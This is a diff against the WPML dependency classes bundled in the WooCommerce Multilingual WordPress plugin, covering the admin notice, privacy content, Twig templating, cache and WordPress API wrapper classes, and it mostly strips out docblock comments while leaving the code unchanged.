 		if ( ! is_callable( $callback ) ) {
 			throw new UnexpectedValueException( 'WPML_Notice::add_display_callback expects a callable', 1 );
@@ -169,15 +124,6 @@
 	}

 	public function get_display_callbacks() {
-		/**
-		 * ADDED MANUALLY
-		 *
-		 * @see https://onthegosystems.myjetbrains.com/youtrack/issue/wcml-3944#focus=Comments-102-507459.0-0
-		 *
-		 * @param string|array $callback
-		 *
-		 * @return bool
-		 */
 		$isNotIncompleteObject = function( $callback ) {
 			return ! ( isset( $callback[0] ) && $callback[0] instanceof __PHP_Incomplete_Class );
 		};
@@ -185,9 +131,6 @@
 		return array_filter( $this->display_callbacks, $isNotIncompleteObject );
 	}

-	/**
-	 * @return array<WPML_Notice_Action>
-	 */
 	public function get_actions() {
 		return $this->actions;
 	}
@@ -196,9 +139,6 @@
 		return $this->css_classes;
 	}

-	/**
-	 * @param string|array $css_classes
-	 */
 	public function set_css_classes( $css_classes ) {
 		if ( ! is_array( $css_classes ) ) {
 			$css_classes = explode( ' ', $css_classes );
@@ -210,16 +150,10 @@
 		return $this->exclude_from_pages;
 	}

-	/**
-	 * @return string
-	 */
 	public function get_group() {
 		return $this->group;
 	}

-	/**
-	 * @return int|string
-	 */
 	public function get_id() {
 		return $this->id;
 	}
@@ -228,9 +162,6 @@
 		$this->restrict_to_page_prefixes = $page_prefixes;
 	}

-	/**
-	 * @return array
-	 */
 	public function get_restrict_to_page_prefixes() {
 		return $this->restrict_to_page_prefixes;
 	}
@@ -243,9 +174,6 @@
 		$this->restrict_to_screen_ids = $screens;
 	}

-	/**
-	 * @return array
-	 */
 	public function get_restrict_to_screen_ids() {
 		return $this->restrict_to_screen_ids;
 	}
@@ -254,9 +182,6 @@
 		return $this->nonce_action;
 	}

-	/**
-	 * @return string
-	 */
 	public function get_text() {
 		$notice     = array(
 			'id'    => $this->get_id(),
@@ -271,37 +196,16 @@
 		return $this->css_class_types;
 	}

-	/**
-	 * @return string
-	 */
 	public function get_collapsed_text() {
 		return $this->collapsed_text;
 	}

-	/**
-	 * Use this to set the look of the notice.
-	 * WordPress recognize these values:
-	 * - notice-error
-	 * - notice-warning
-	 * - notice-success
-	 * - notice-info
-	 * You can use the above values with or without the "notice-" prefix:
-	 * the prefix will be added automatically in the HTML, if missing.
-	 *
-	 * @see https://codex.wordpress.org/Plugin_API/Action_Reference/admin_notices for more details
-	 *
-	 * @param string|array $types Accepts either a space separated values string, or an array of values.
-	 * @return WPML_Notice
-	 */
 	public function set_css_class_types( $types ) {
 		$this->css_class_types = is_array( $types ) ? $types : explode( ' ', $types );

 		return $this;
 	}

-	/**
-	 * @param bool $dismissible
-	 */
 	public function set_dismissible( $dismissible ) {
 		$this->dismissible = $dismissible;
 	}
@@ -321,30 +225,18 @@
 		return $this->hide_if_notice_exists;
 	}

-	/**
-	 * @param bool $hideable
-	 */
 	public function set_hideable( $hideable ) {
 		$this->hideable = $hideable;
 	}

-	/**
-	 * @param bool $collapsable
-	 */
 	public function set_collapsable( $collapsable ) {
 		$this->collapsable = $collapsable;
 	}

-	/**
-	 * @param string $action
-	 */
 	public function set_nonce_action( $action ) {
 		$this->nonce_action = $action;
 	}

-	/**
-	 * @param string $collapsed_text
-	 */
 	public function set_collapsed_text( $collapsed_text ) {
 		$this->collapsed_text = $collapsed_text;
 	}
@@ -365,49 +257,24 @@
 		return serialize( $this ) !== serialize( $other_notice );
 	}

-	/**
-	 * Set notice to only display once.
-	 *
-	 * @param bool $flash
-	 *
-	 * @return WPML_Notice
-	 * @since 4.1.0
-	 */
 	public function set_flash( $flash = true ) {
 		$this->flash = (bool) $flash;

 		return $this;
 	}

-	/**
-	 * @return bool
-	 * @since 4.1.0
-	 */
 	public function is_flash() {
 		return $this->flash;
 	}

-	/**
-	 * @return bool
-	 */
 	public function should_be_text_only() {
 		return $this->text_only;
 	}

-	/**
-	 * @param bool $text_only
-	 */
 	public function set_text_only( $text_only ) {
 		$this->text_only = $text_only;
 	}

-	/**
-	 * @param int|string $id
-	 * @param string     $text
-	 * @param string     $group
-	 *
-	 * @return WPML_Notice
-	 */
 	public static function make( $id, $text, $group = 'default' ) {
 		return new WPML_Notice( $id, $text, $group );
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/class-wpml-notices.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/notices/class-wpml-notices.php
@@ -1,8 +1,5 @@
 <?php

-/**
- * @author OnTheGo Systems
- */
 class WPML_Notices {

 	const NOTICES_OPTION_KEY   = 'wpml_notices';
@@ -12,23 +9,12 @@
 	const DEFAULT_GROUP        = 'default';

 	private $notice_render;
-	/**
-	 * @var array<string,array<WPML_Notice>>
-	 */
 	private $notices;
-	/**
-	 * @var array<string,array<int>>
-	 */
 	private $notices_to_remove = array();
 	private $dismissed;
 	private $user_dismissed;
 	private $original_notices_md5;

-	/**
-	 * WPML_Notices constructor.
-	 *
-	 * @param WPML_Notice_Render $notice_render
-	 */
 	public function __construct( WPML_Notice_Render $notice_render ) {
 		$this->notice_render        = $notice_render;
 		$this->notices              = $this->filter_invalid_notices( $this->get_all_notices() );
@@ -36,9 +22,6 @@
 		$this->original_notices_md5 = md5( maybe_serialize( $this->notices ) );
 	}

-	/**
-	 * @return int
-	 */
 	public function count() {
 		$all_notices = $this->get_all_notices();
 		$count       = 0;
@@ -49,9 +32,6 @@
 		return $count;
 	}

-	/**
-	 * @return array
-	 */
 	public function get_all_notices() {
 		$all_notices = get_option( self::NOTICES_OPTION_KEY );
 		if ( ! is_array( $all_notices ) ) {
@@ -60,9 +40,6 @@
 		return $all_notices;
 	}

-	/**
-	 * @return array
-	 */
 	private function get_all_dismissed() {
 		$dismissed = get_option( self::DISMISSED_OPTION_KEY );
 		if ( ! is_array( $dismissed ) ) {
@@ -81,12 +58,6 @@
 		}
 	}

-	/**
-	 * @param string $id
-	 * @param string $group
-	 *
-	 * @return null|WPML_Notice
-	 */
 	public function get_notice( $id, $group = 'default' ) {
 		$notice = null;

@@ -97,13 +68,6 @@
 		return $notice;
 	}

-	/**
-	 * @param string $id
-	 * @param string $text
-	 * @param string $group
-	 *
-	 * @return WPML_Notice
-	 */
 	public function create_notice( $id, $text, $group = 'default' ) {
 		return new WPML_Notice( $id, $text, $group );
 	}
@@ -123,35 +87,14 @@
 		}
 	}

-	/**
-	 * @param string $id
-	 * @param string $text
-	 * @param string $group
-	 *
-	 * @return WPML_Notice
-	 */
 	public function get_new_notice( $id, $text, $group = 'default' ) {
 		return new WPML_Notice( $id, $text, $group );
 	}

-	/**
-	 * @param string $text
-	 * @param string $url
-	 * @param bool   $dismiss
-	 * @param bool   $hide
-	 * @param bool   $display_as_button
-	 *
-	 * @return WPML_Notice_Action
-	 */
 	public function get_new_notice_action( $text, $url = '#', $dismiss = false, $hide = false, $display_as_button = false ) {
 		return new WPML_Notice_Action( $text, $url, $dismiss, $hide, $display_as_button );
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 *
-	 * @return bool
-	 */
 	private function notice_exists( WPML_Notice $notice ) {
 		$notice_id    = $notice->get_id();
 		$notice_group = $notice->get_group();
@@ -215,7 +158,7 @@
 			);
 		}
 		if ( $this->must_display_notices() ) {
-			wp_enqueue_style( 'sitepress-style', WCML_WPML_DEPENDENCY_URL . '/res/css/style.css', array(), '4.5.0' ); // Added manually as it's a dependency.
+			wp_enqueue_style( 'sitepress-style', WCML_WPML_DEPENDENCY_URL . '/res/css/style.css', array(), '4.5.0' );
 			wp_enqueue_style( 'otgs-notices', WCML_WPML_DEPENDENCY_URL . '/res/css/otgs-notices.css', array( 'sitepress-style' ) );
 			wp_enqueue_script(
 				'otgs-notices',
@@ -293,12 +236,6 @@
 		wp_send_json_error( __( 'Notice does not exist.', 'sitepress' ) );
 	}

-	/**
-	 * @param string      $notice_id
-	 * @param null|string $notice_group
-	 *
-	 * @return bool
-	 */
 	private function dismiss_notice_by_id( $notice_id, $notice_group = null ) {
 		if ( ! $notice_group ) {
 			$notice_group = self::DEFAULT_GROUP;
@@ -327,17 +264,11 @@
 		wp_send_json_error( __( 'Group does not exist.', 'sitepress' ) );
 	}

-	/**
-	 * @param null|string $notice_group
-	 *
-	 * @return bool
-	 */
 	private function dismiss_notice_group( $notice_group ) {
 		if ( $notice_group ) {
 			$notices = $this->get_notices_for_group( $notice_group );

 			if ( $notices ) {
-				/** @var WPML_Notice $notice */
 				foreach ( $notices as $notice ) {
 					$this->dismiss_notice( $notice, false );
 					$this->remove_notice( $notice_group, $notice->get_id() );
@@ -352,9 +283,6 @@
 		return false;
 	}

-	/**
-	 * @return array
-	 */
 	private function parse_group_and_id() {
 		$group = isset( $_POST['group'] ) ? sanitize_text_field( $_POST['group'] ) : false;
 		$id    = isset( $_POST['id'] ) ? sanitize_text_field( $_POST['id'] ) : false;
@@ -362,9 +290,6 @@
 		return array( $group, $id );
 	}

-	/**
-	 * @return false|int
-	 */
 	private function has_valid_nonce() {
 		$nonce = isset( $_POST['nonce'] ) ? $_POST['nonce'] : null;
 		return wp_verify_nonce( $nonce, self::NONCE_NAME );
@@ -374,10 +299,6 @@
 		return array_key_exists( $group, $this->notices ) && array_key_exists( $id, $this->notices[ $group ] );
 	}

-	/**
-	 * @param string     $notice_group
-	 * @param string|int $notice_id
-	 */
 	public function remove_notice( $notice_group, $notice_id ) {
 		$this->notices_to_remove[ $notice_group ][] = $notice_id;
 		$this->notices_to_remove[ $notice_group ]   = array_unique( $this->notices_to_remove[ $notice_group ] );
@@ -396,9 +317,6 @@
 		}
 	}

-	/**
-	 * @param string $notice_group
-	 */
 	public function remove_notice_group( $notice_group ) {
 		$notices     = $this->get_notices_for_group( $notice_group );
 		$notices_ids = array_keys( $notices );
@@ -407,10 +325,6 @@
 		}
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 * @param bool        $persist
-	 */
 	public function dismiss_notice( WPML_Notice $notice, $persist = true ) {
 		if ( method_exists( $notice, 'is_user_restricted' ) && $notice->is_user_restricted() ) {
 			$this->init_all_user_dismissed();
@@ -424,10 +338,6 @@
 		}
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 * @param bool        $persist
-	 */
 	public function undismiss_notice( WPML_Notice $notice, $persist = true ) {
 		if ( method_exists( $notice, 'is_user_restricted' ) && $notice->is_user_restricted() ) {
 			$this->init_all_user_dismissed();
@@ -441,11 +351,6 @@
 		}
 	}

-	/**
-	 * @param WPML_Notice $notice
-	 *
-	 * @return bool
-	 */
 	public function is_notice_dismissed( WPML_Notice $notice ) {
 		$group = $notice->get_group();
 		$id    = $notice->get_id();
@@ -467,7 +372,7 @@

 	public function init_hooks() {
 		add_action( 'admin_notices', array( $this, 'admin_notices' ) );
-		add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ), 11 ); // WPML_Admin_Scripts_Setup::PRIORITY_ENQUEUE_SCRIPTS + 1
+		add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ), 11 );
 		add_action( 'wp_ajax_otgs-hide-notice', array( $this, 'wp_ajax_hide_notice' ) );
 		add_action( 'wp_ajax_otgs-dismiss-notice', array( $this, 'wp_ajax_dismiss_notice' ) );
 		add_action( 'wp_ajax_otgs-dismiss-group', array( $this, 'wp_ajax_dismiss_group' ) );
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/privacy/class-wpml-core-privacy-content.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/privacy/class-wpml-core-privacy-content.php
@@ -1,20 +1,11 @@
 <?php

-/**
- * @author OnTheGo Systems
- */
 class WPML_Core_Privacy_Content extends WPML_Privacy_Content {

-	/**
-	 * @return string
-	 */
 	protected function get_plugin_name() {
 		return 'WPML';
 	}

-	/**
-	 * @return string|array
-	 */
 	protected function get_privacy_policy() {
 		return array(
 			__( 'WPML uses cookies to identify the visitor’s current language, the last visited language and the language of users who have logged in.', 'sitepress' ),
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/privacy/class-wpml-privacy-content-factory.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/privacy/class-wpml-privacy-content-factory.php
@@ -1,12 +1,6 @@
 <?php

-/**
- * @author OnTheGo Systems
- */
 class WPML_Privacy_Content_Factory implements IWPML_Backend_Action_Loader {
-	/**
-	 * @return IWPML_Action
-	 */
 	public function create() {
 		return new WPML_Core_Privacy_Content();
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/privacy/class-wpml-privacy-content.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/privacy/class-wpml-privacy-content.php
@@ -1,8 +1,5 @@
 <?php

-/**
- * @author OnTheGo Systems
- */
 abstract class WPML_Privacy_Content implements IWPML_Action {

 	public function add_hooks() {
@@ -23,13 +20,7 @@
 		}
 	}

-	/**
-	 * @return string
-	 */
 	abstract protected function get_plugin_name();

-	/**
-	 * @return string|array a single or an array of strings (plain text or HTML). Array items will be wrapped by a paragraph tag.
-	 */
 	abstract protected function get_privacy_policy();
 }
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/templates/class-wpml-twig-template.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/templates/class-wpml-twig-template.php
@@ -2,17 +2,9 @@

 use WPMLCoreTwig_Environment;

-/**
- * @author OnTheGo Systems
- */
 class WPML_Twig_Template implements IWPML_Template_Service {
 	private $twig;

-	/**
-	 * WPML_Twig_Template constructor.
-	 *
-	 * @param Twig_Environment $twig
-	 */
 	public function __construct( Twig_Environment $twig ) {
 		$this->twig = $twig;
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/templates/interface-iwpml-template-service.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/templates/interface-iwpml-template-service.php
@@ -1,8 +1,5 @@
 <?php

-/**
- * @author OnTheGo Systems
- */
 interface IWPML_Template_Service {
 	public function show( $model, $template );
 }
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/templates/wpml-twig-template-loader.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/templates/wpml-twig-template-loader.php
@@ -3,28 +3,14 @@
 use WPMLCoreTwig_Loader_Filesystem;
 use WPMLCoreTwig_Environment;

-/**
- * Class WPML_Twig_Template_Loader
- */
 class WPML_Twig_Template_Loader {

-	/**
-	 * @var array
-	 */
 	private $paths;

-	/**
-	 * WPML_Twig_Template_Loader constructor.
-	 *
-	 * @param array $paths
-	 */
 	public function __construct( array $paths ) {
 		$this->paths = $paths;
 	}

-	/**
-	 * @return WPML_Twig_Template
-	 */
 	public function get_template() {
 		$twig_loader      = new Twig_Loader_Filesystem( $this->paths );
 		$environment_args = array();
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/templating/class-wpml-templates-factory.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/templating/class-wpml-templates-factory.php
@@ -8,33 +8,20 @@
 	const NOTICE_GROUP                 = 'template_factory';
 	const OTGS_TWIG_CACHE_DISABLED_KEY = '_otgs_twig_cache_disabled';

-	/** @var array */
 	protected $custom_filters;

-	/** @var array */
 	protected $custom_functions;

-	/** @var string|array */
 	protected $template_paths;

-	/** @var string|bool */
 	protected $cache_directory;

 	protected $template_string;

-	/** @var WPML_WP_API $wp_api */
 	private $wp_api;

-	/** @var Twig_Environment */
 	protected $twig;

-	/**
-	 * WPML_Templates_Factory constructor.
-	 *
-	 * @param array       $custom_functions
-	 * @param array       $custom_filters
-	 * @param WPML_WP_API $wp_api
-	 */
 	public function __construct( array $custom_functions = array(), array $custom_filters = array(), $wp_api = null ) {
 		$this->init_template_base_dir();
 		$this->custom_functions = $custom_functions;
@@ -47,27 +34,10 @@

 	abstract protected function init_template_base_dir();

-	/**
-	 * @param null $template
-	 * @param null $model
-	 *
-	 * @throws WPMLCoreTwigErrorLoaderError
-	 * @throws WPMLCoreTwigErrorRuntimeError
-	 * @throws WPMLCoreTwigErrorSyntaxError
-	 */
 	public function show( $template = null, $model = null ) {
 		echo $this->get_view( $template, $model );
 	}

-	/**
-	 * @param string $template
-	 * @param array<string,mixed> $model
-	 *
-	 * @return string
-	 * @throws WPMLCoreTwigErrorLoaderError
-	 * @throws WPMLCoreTwigErrorRuntimeError
-	 * @throws WPMLCoreTwigErrorSyntaxError
-	 */
 	public function get_view( $template = null, $model = null ) {
 		$output = '';
 		$this->maybe_init_twig();
@@ -141,16 +111,10 @@

 	abstract public function get_model();

-	/**
-	 * @return Twig_Environment
-	 */
 	protected function get_twig() {
 		return $this->twig;
 	}

-	/**
-	 * @param RuntimeException $e
-	 */
 	protected function add_exception_notice( RuntimeException $e ) {
 		if ( false !== strpos( $e->getMessage(), 'create' ) ) {
 			/* translators: %s: Cache directory path */
@@ -166,9 +130,6 @@
 		$admin_notices->add_notice( $notice );
 	}

-	/**
-	 * @return WPML_WP_API
-	 */
 	protected function get_wp_api() {
 		if ( ! $this->wp_api ) {
 			$this->wp_api = new WPML_WP_API();
@@ -185,16 +146,10 @@
 		return ! (bool) get_option( self::OTGS_TWIG_CACHE_DISABLED_KEY, false );
 	}

-	/**
-	 * @return bool
-	 */
 	protected function is_string_template() {
 		return isset( $this->template_string );
 	}

-	/**
-	 * @return WPMLCoreTwig_LoaderInterface
-	 */
 	protected function get_twig_loader() {
 		if ( $this->is_string_template() ) {
 			$loader = $this->get_wp_api()->get_twig_loader_string();
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/twig-extensions/wpml-twig-wp-plugin-extension.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/twig-extensions/wpml-twig-wp-plugin-extension.php
@@ -5,10 +5,6 @@

 class WPML_Twig_WP_Plugin_Extension extends Twig_Extension {

-	/**
-	 * Returns the name of the extension.
-	 * @return string The extension name
-	 */
 	public function getName() {
 		return 'wp_plugin';
 	}
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/utilities/class-wpml-wp-cache.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/utilities/class-wpml-wp-cache.php
@@ -2,35 +2,17 @@

 class WPML_WP_Cache {

-	/** @var string Key name under which array of all group keys is stored */
 	const KEYS = 'WPML_WP_Cache__group_keys';

-	/** @var string Group name */
 	private $group;

-	/**
-	 * WPML_WP_Cache constructor.
-	 *
-	 * @param string $group Optional. Where the cache contents are grouped. Default empty.
-	 */
 	public function __construct( $group = '' ) {
 		$this->group = $group;
 	}

-	/**
-	 * Retrieves the cache contents from the cache by key and group.
-	 *
-	 * @param int|string $key    The key under which the cache contents are stored.
-	 * @param bool       $found  Optional. Whether the key was found in the cache (passed by reference).
-	 *                           Disambiguates a return of false, a storable value. Default null.
-	 *
-	 * @return bool|mixed False on failure to retrieve contents or the cache
-	 *                    contents on success
-	 */
 	public function get( $key, &$found = null ) {
 		$value = wp_cache_get( $key, $this->group, false, $found );
 		if ( is_array( $value ) && array_key_exists( 'data', $value ) ) {
-			// We know that we have set something in the cache.
 			$found = true;

 			return $value['data'];
@@ -41,16 +23,6 @@
 		}
 	}

-	/**
-	 * Saves the data to the cache.
-	 *
-	 * @param int|string $key    The cache key to use for retrieval later.
-	 * @param mixed      $data   The contents to store in the cache.
-	 * @param int        $expire Optional. When to expire the cache contents, in seconds.
-	 *                           Default 0 (no expiration).
-	 *
-	 * @return bool False on failure, true on success
-	 */
 	public function set( $key, $data, $expire = 0 ) {
 		$keys = $this->get_keys();
 		if ( ! in_array( $key, $keys, true ) ) {
@@ -58,13 +30,9 @@
 			wp_cache_set( self::KEYS, $keys, $this->group );
 		}

-		// Save $value in an array. We need to do this because W3TC and Redis have bug with saving null.
 		return wp_cache_set( $key, [ 'data' => $data ], $this->group, $expire );
 	}

-	/**
-	 * Removes the cache contents matching key and group.
-	 */
 	public function flush_group_cache() {
 		$keys = $this->get_keys();

@@ -85,14 +53,6 @@
 		return $result;
 	}

-	/**
-	 * @param string $key
-	 *
-	 * @return array {
-	 *    @type mixed   $result @see Return value of wp_cache_get.
-	 *    @type bool    $found @see `$found` argument of wp_cache_get.
-	 * }
-	 */
 	public function get_with_found( $key ) {
 		$found  = false;
 		$result = $this->get( $key, $found );
@@ -100,11 +60,6 @@
 		return [ $result, $found ];
 	}

-	/**
-	 * Get stored group keys.
-	 *
-	 * @return array
-	 */
 	private function get_keys() {
 		$found = false;
 		$keys  = wp_cache_get( self::KEYS, $this->group, false, $found );
--- a/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/wpml-wp/class-wpml-wp-api.php
+++ b/woocommerce-multilingual/addons/wpml-dependencies/lib/classes/wpml-wp/class-wpml-wp-api.php
@@ -8,12 +8,6 @@
 use function WPMLContainermake;

 class WPML_WP_API extends WPML_PHP_Functions {
-	/**
-	 * @param string $file
-	 * @param string $filename
-	 *
-	 * @return false | string
-	 */
 	public function get_file_mime_type( $file, $filename ) {

 		$mime_type = false;
@@ -25,27 +19,19 @@
 		return $mime_type;
 	}

-	/**
-	 * Wrapper for get_option
-	 *
-	 * @param string     $option
-	 * @param bool|false $default
-	 *
-	 * @return mixed
-	 */
 	public function get_option( $option, $default = false ) {

 		return get_option( $option, $default );
 	}

 	public function is_url( $value ) {
-		$regex  = '((https?|ftp)://)?'; // SCHEME
-		$regex .= '([a-z0-9+!*(),;?&=$_.-]+(:[a-z0-9+!*(),;?&=$_.-]+)?@)?'; // User and Pass
-		$regex .= '([a-z0-9-.]*).([a-z]{2,3})'; // Host or IP
-		$regex .= '(:[0-9]{2,5})?'; // Port
-		$regex .= '(/([a-z0-9+$_-].?)+)*/?'; // Path
-		$regex .= '(?[a-z+&$_.-][a-z0-9;:@&%=+/$_.-]*)?'; // GET Query
-		$regex .= '(#[a-z_.-][a-z0-9+$_.-]*)?'; // Anchor
+		$regex  = '((https?|ftp)://)?';
+		$regex .= '([a-z0-9+!*(),;?&=$_.-]+(:[a-z0-9+!*(),;?&=$_.-]+)?@)?';
+		$regex .= '([a-z0-9-.]*).([a-z]{2,3})';
+		$regex .= '(:[0-9]{2,5})?';
+		$regex .= '(/([a-z0-9+$_-].?)+)*/?';
+		$regex .= '(?[a-z+&$_.-][a-z0-9;:@&%=+/$_.-]*)?';
+		$regex .= '(#[a-z_.-][a-z0-9+$_.-]*)?';

 		return preg_match( "/^$regex$/", $value );
 	}
@@ -58,207 +44,78 @@
 		set_transient( $transient, $value, $expiration );
 	}

-	/**
-	 * @param string      $option
-	 * @param mixed       $value
-	 * @param string|bool $autoload
-	 *
-	 * @return bool False if value was not updated and true if value was updated.
-	 */
 	public function update_option( $option, $value, $autoload = null ) {
 		return update_option( $option, $value, $autoload );
 	}

-	/**
-	 * @param string|int|WP_Post $ID Optional. Post ID or post object. Default empty.
-	 *
-	 * @return false|string
-	 */
 	public function get_post_status( $ID = '' ) {
 		return get_post_status( $ID );
 	}

-	/**
-	 * Wrapper for get_term_link
-	 *
-	 * @param  object|int|string $term
-	 * @param string            $taxonomy
-	 *
-	 * @return string|WP_Error
-	 */
 	public function get_term_link( $term, $taxonomy = '' ) {

 		return get_term_link( $term, $taxonomy );
 	}

-	/**
-	 *  Wrapper for get_term_by
-	 *
-	 * @param string     $field
-	 * @param string|int $value
-	 * @param string     $taxonomy
-	 * @param string     $output
-	 * @param string     $filter
-	 *
-	 * @return bool|WP_Term
-	 */
 	public function get_term_by( $field, $value, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) {
 		return get_term_by( $field, $value, $taxonomy, $output, $filter );
 	}

-	/**
-	 * Wrapper for add_submenu_page
-	 *
-	 * @param string       $parent_slug
-	 * @param string       $page_title
-	 * @param string       $menu_title
-	 * @param string       $capability
-	 * @param string       $menu_slug
-	 * @param array|string $function
-	 *
-	 * @return false|string
-	 */
 	public function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {

 		return add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function );
 	}

-	/**
-	 * @param string       $page_title
-	 * @param string       $menu_title
-	 * @param string       $capability
-	 * @param string       $menu_slug
-	 * @param array|string $function
-	 * @param string       $icon_url
-	 * @param null         $position
-	 *
-	 * @return string
-	 */
 	public function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '', $position = null ) {

 		return add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position );
 	}

-	/**
-	 * Wrapper for get_post_type_archive_link
-	 *
-	 * @param string $post_type
-	 *
-	 * @return string
-	 */
 	public function get_post_type_archive_link( $post_type ) {

 		return get_post_type_archive_link( $post_type );
 	}

-	/**
-	 * Wrapper for get_edit_post_link
-	 *
-	 * @param int    $id
-	 * @param string $context
-	 *
-	 * @return null|string|void
-	 */
 	public function get_edit_post_link( $id = 0, $context = 'display' ) {

 		return get_edit_post_link( $id, $context );
 	}

-	/**
-	 * Wrapper for get_the_title
-	 *
-	 * @param int|WP_Post $post
-	 *
-	 * @return string
-	 */
 	public function get_the_title( $post ) {

 		return get_the_title( $post );
 	}

-	/**
-	 * Wrapper for get_day_link
-	 *
-	 * @param int $year
-	 * @param int $month
-	 * @param int $day
-	 *
-	 * @return string
-	 */
 	public function get_day_link( $year, $month, $day ) {

 		return get_day_link( $year, $month, $day );
 	}

-	/**
-	 * Wrapper for get_month_link
-	 *
-	 * @param int $year
-	 * @param int $month
-	 *
-	 * @return string
-	 */
 	public function get_month_link( $year, $month ) {

 		return get_month_link( $year, $month );
 	}

-	/**
-	 * Wrapper for get_year_link
-	 *
-	 * @param int $year
-	 *
-	 * @return string
-	 */
 	public function get_year_link( $year ) {

 		return get_year_link( $year );
 	}

-	/**
-	 * Wrapper for get_author_posts_url
-	 *
-	 * @param int    $author_id
-	 * @param string $author_nicename
-	 *
-	 * @return string
-	 */
 	public function get_author_posts_url( $author_id, $author_nicename = '' ) {

 		return get_author_posts_url( $author_id, $author_nicename );
 	}

-	/**
-	 * Wrapper for current_user_can
-	 *
-	 * @param string $capability
-	 *
-	 * @return bool
-	 */
 	public function current_user_can( $capability ) {

 		return current_user_can( $capability );
 	}

-	/**
-	 * @param int    $user_id
-	 * @param string $key
-	 * @param bool   $single
-	 *
-	 * @return mixed
-	 */
 	public function get_user_meta( $user_id, $key = '', $single = false ) {

 		return get_user_meta( $user_id, $key, $single );
 	}

-	/**
-	 * Wrapper for get_post_type
-	 *
-	 * @param null|int|WP_Post $post
-	 *
-	 * @return false|string
-	 */
 	public function get_post_type( $post = null ) {

 		return get_post_type( $post );
@@ -276,11 +133,6 @@
 		return is_home();
 	}

-	/**
-	 * @param int|string|array $page Optional. Page ID, title, slug, or array of such. Default empty.
-	 *
-	 * @return bool
-	 */
 	public function is_page( $page = '' ) {
 		return is_page( $page );
 	}
@@ -289,77 +141,33 @@
 		return is_paged();
 	}

-	/**
-	 * @param string $post
-	 *
-	 * @return int|string|array $post Optional. Post ID, title, slug, or array of such. Default empty.
-	 */
 	public function is_single( $post = '' ) {
 		return is_single( $post );
 	}

-	/**
-	 * @param string|array $post_types
-	 *
-	 * @return bool
-	 */
 	public function is_singular( $post_types = '' ) {
 		return is_singular( $post_types );
 	}

-	/**
-	 * @param int|WP_User $user
-	 * @param string      $capability
-	 *
-	 * @return bool
-	 */
 	public function user_can( $user, $capability ) {

 		return user_can( $user, $capability );
 	}

-	/**
-	 * Wrapper for add_filter
-	 *
-	 * @param string   $tag
-	 * @param callable $function_to_add
-	 * @param int      $priority
-	 * @param int      $accepted_args
-	 *
-	 * @return bool|mixed|true|void
-	 */
 	public function add_filter( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {

 		return add_filter( $tag, $function_to_add, $priority, $accepted_args );
 	}

-	/**
-	 * Wrapper for remove_filter
-	 *
-	 * @param string   $tag
-	 * @param callable $function_to_remove
-	 * @param int      $priority
-	 *
-	 * @return bool
-	 */
 	public function remove_filter( $tag, $function_to_remove, $priority = 10 ) {

 		return remove_filter( $tag, $function_to_remove, $priority );
 	}

-	/**
-	 * Wrapper for current_filter
-	 */
 	public function current_filter() {
 		return current_filter();
 	}

-	/**
-	 * @param null|string $tab
-	 * @param null|string $hash
-	 *
-	 * @return string
-	 */
 	public function get_tm_url( $tab = null, $hash = null ) {
 		$tm_url = menu_page_url( $this->constant( 'WPML_TM_FOLDER' ) . '/menu/main.php', false );

@@ -380,11 +188,6 @@
 		return $tm_url;
 	}

-	/**
-	 * Wrapper for is_admin()
-	 *
-	 * @return bool
-	 */
 	public function is_admin() {

 		return is_admin();
@@ -394,12 +197,6 @@
 		return $this->is_tm_page( 'jobs' );
 	}

-	/**
-	 * @param string|null $tab
-	 * @param string|null $page_type
-	 *
-	 * @return bool
-	 */
 	public function is_tm_page( $tab = null, $page_type = 'management' ) {
 		if ( 'settings' === $page_type ) {
 			$page_suffix = '/menu/settings';
@@ -440,11 +237,6 @@
 		return $this->is_core_page( 'troubleshooting.php' );
 	}

-	/**
-	 * @param string $page
-	 *
-	 * @return bool
-	 */
 	public function is_core_page( $page = '' ) {
 		$result = is_admin()
 				  && isset( $_GET['page'] )
@@ -468,7 +260,6 @@
 		$result = defined( 'DOING_AJAX' ) && DOING_AJAX;

 		if ( $this->function_exists( 'wpml_is_ajax' ) ) {
-			/** @noinspection PhpUndefinedFunctionInspection */
 			$result = $result || wpml_is_ajax();
 		}

@@ -528,70 +319,27 @@
 		return 'themes.php' === $pagenow;
 	}

-	/**
-	 * Wrapper for is_feed that returns false if called before the loop
-	 *
-	 * @param string $feeds
-	 *
-	 * @return bool
-	 */
 	public function is_feed( $feeds = '' ) {
 		global $wp_query;

 		return isset( $wp_query ) && is_feed( $feeds );
 	}

-	/**
-	 * Wrapper for wp_update_term_count
-	 *
-	 * @param int[]      $terms given by their term_taxonomy_ids
-	 * @param string     $taxonomy
